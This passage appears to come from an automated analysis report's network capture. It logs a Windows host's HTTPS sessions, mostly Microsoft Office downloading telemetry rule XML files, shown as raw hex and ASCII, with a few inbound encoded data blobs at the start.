2024-11-20 00:18:26 UTC	1369	IN	Data Raw: 67 44 46 70 6b 46 63 67 43 31 77 50 56 72 4a 7a 4f 61 35 67 4b 72 76 57 41 7a 56 77 7a 65 53 73 38 42 39 31 54 67 59 69 59 43 43 37 62 6d 6e 51 52 79 6f 51 50 46 38 50 37 43 59 77 38 54 52 4e 75 35 78 63 64 7a 6d 61 2b 61 7a 6d 48 7a 51 4e 54 47 4d 6f 59 36 6c 38 62 72 59 70 58 31 46 6b 43 6b 2b 74 53 68 47 34 4e 77 43 72 79 78 56 70 59 74 6e 6c 34 72 6c 4a 4d 30 41 65 66 6d 34 34 68 6a 39 68 79 43 67 32 43 33 46 4d 41 50 78 42 4c 4c 45 6a 43 72 76 4e 53 51 4a 74 31 2b 33 37 72 78 38 39 54 6c 67 78 64 6a 44 78 50 79 32 5a 56 79 41 62 4f 31 63 4e 37 79 4e 2f 37 54 4a 44 74 4a 77 53 5a 53 2b 49 70 61 79 73 48 79 74 4f 47 58 49 38 63 72 6c 38 50 34 74 51 52 6e 56 48 43 31 36 35 63 7a 2f 39 41 77 61 35 32 30 52 72 4e 39 57 72 74 49 63 66 4f 30 35 68 50 32 35 Data Ascii: gDFpkFcgC1wPVrJzOa5gKrvWAzVwzeSs8B91TgYiYCC7bmnQRyoQPF8P7CYw8TRNu5xcdzma+azmHzQNTGMoY6l8brYpX1FkCk+tShG4NwCryxVpYtnl4rlJM0Aefm44hj9hyCg2C3FMAPxBLLEjCrvNSQJt1+37rx89TlgxdjDxPy2ZVyAbO1cN7yN/7TJDtJwSZS+IpaysHytOGXI8crl8P4tQRnVHC165cz/9Awa520RrN9WrtIcfO05hP25
2024-11-20 00:18:26 UTC	1369	IN	Data Raw: 59 77 47 4f 42 4d 35 58 67 50 70 4a 33 6a 76 66 78 4c 6a 78 55 51 7a 4e 34 4b 35 6f 76 35 4e 4d 31 59 65 4e 69 31 79 72 58 6b 71 6e 68 51 2f 64 56 63 72 56 72 74 31 4f 61 38 36 41 75 4c 79 4d 67 52 4a 35 50 37 76 73 46 46 30 47 45 38 78 59 43 43 77 50 33 47 78 56 7a 41 4c 56 6b 49 59 70 44 52 33 2f 78 67 4f 6f 39 49 44 4d 32 61 58 7a 4f 4b 35 58 6d 55 65 53 58 35 68 54 6f 6c 65 61 63 5a 58 66 67 73 78 58 68 62 38 63 44 37 2f 64 56 33 2f 68 31 46 32 49 49 71 35 38 2f 42 47 4d 78 67 65 4b 58 77 75 2f 32 31 70 30 46 63 2f 53 48 73 65 58 72 39 69 4c 50 67 54 4d 34 72 53 41 79 52 68 79 75 62 67 6e 31 78 69 42 47 42 50 4f 32 4f 78 63 53 36 65 42 6a 67 46 4b 51 4d 59 35 45 31 76 39 32 30 79 34 35 77 63 5a 53 2b 61 33 75 2b 77 55 58 51 59 54 7a 77 4a 62 72 68 2b Data Ascii: YwGOBM5XgPpJ3jvfxLjxUQzN4K5ov5NM1YeNi1yrXkqnhQ/dVcrVrt1Oa86AuLyMgRJ5P7vsFF0GE8xYCCwP3GxVzALVkIYpDR3/xgOo9IDM2aXzOK5XmUeSX5hToleacZXfgsxXhb8cD7/dV3/h1F2IIq58/BGMxgeKXwu/21p0Fc/SHseXr9iLPgTM4rSAyRhyubgn1xiBGBPO2OxcS6eBjgFKQMY5E1v920y45wcZS+a3u+wUXQYTzwJbrh+
2024-11-20 00:18:26 UTC	1369	IN	Data Raw: 74 64 61 6b 77 57 2f 47 78 76 35 32 30 67 76 39 73 55 4a 6a 58 32 37 4f 47 79 48 32 78 41 52 7a 45 34 49 4f 63 73 5a 38 67 46 4f 42 4d 70 53 31 75 75 5a 69 6d 38 4f 77 37 71 34 6a 6f 49 5a 64 33 37 37 2f 78 75 66 67 70 49 5a 43 31 77 75 45 45 58 70 51 56 2f 57 32 70 4f 66 59 59 32 48 71 6b 75 44 61 50 62 52 47 73 33 77 71 75 30 2f 6e 4a 68 43 55 35 79 62 45 57 46 50 52 69 65 46 48 68 46 62 6b 78 48 38 6d 31 76 71 57 31 56 2f 70 4a 45 4e 7a 65 43 71 36 75 77 55 6e 49 4e 55 48 49 38 63 72 6c 38 50 34 74 51 52 6e 56 47 42 31 6d 73 65 54 36 79 4b 52 75 54 34 69 4d 6a 63 74 33 56 30 6f 6c 4f 64 42 34 63 56 79 31 32 76 44 39 6e 79 41 38 34 45 79 6b 72 58 72 6c 7a 62 2f 46 74 43 65 32 45 52 41 70 38 32 2f 76 68 72 31 4a 33 47 42 78 57 4b 47 57 34 50 32 66 49 47 Data Ascii: tdakwW/Gxv520gv9sUJjX27OGyH2xARzE4IOcsZ8gFOBMpS1uuZim8Ow7q4joIZd377/xufgpIZC1wuEEXpQV/W2pOfYY2HqkuDaPbRGs3wqu0/nJhCU5ybEWFPRieFHhFbkxH8m1vqW1V/pJENzeCq6uwUnINUHI8crl8P4tQRnVGB1mseT6yKRuT4iMjct3V0olOdB4cVy12vD9nyA84EykrXrlzb/FtCe2ERAp82/vhr1J3GBxWKGW4P2fIG

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:26 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:26 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:26 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001826Z-1777c6cb754xjpthhC1TEBexs800000008hg00000000rnyv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:26 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:26 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:26 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:26 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001826Z-1777c6cb754gc8g6hC1TEB966c00000008x00000000028uh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:26 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:26 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:26 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001826Z-185f5d8b95cf7qddhC1NYC66an00000009g000000000ev2u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:26 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:26 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:26 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:26 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001826Z-1777c6cb754vxwc9hC1TEBykgw00000008qg00000000r419 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:26 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:26 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:26 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001826Z-1777c6cb754b7tdghC1TEBwwa400000008z0000000009gmz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:26 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:27 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:27 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:27 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001827Z-185f5d8b95cjbkr4hC1NYCeu24000000096000000000uh9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 00:18:27 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:27 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:27 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001827Z-185f5d8b95c5lcmhhC1NYCsnsw00000009h000000000cpkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:27 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:27 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001827Z-185f5d8b95c4vwv8hC1NYCy4v400000009ng0000000071d1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:27 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001827Z-r1d97b99577656nchC1TEBk98c000000084000000000azg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:27 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:27 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001827Z-185f5d8b95ckwnflhC1NYCx9qs00000009g000000000f9z4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:27 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 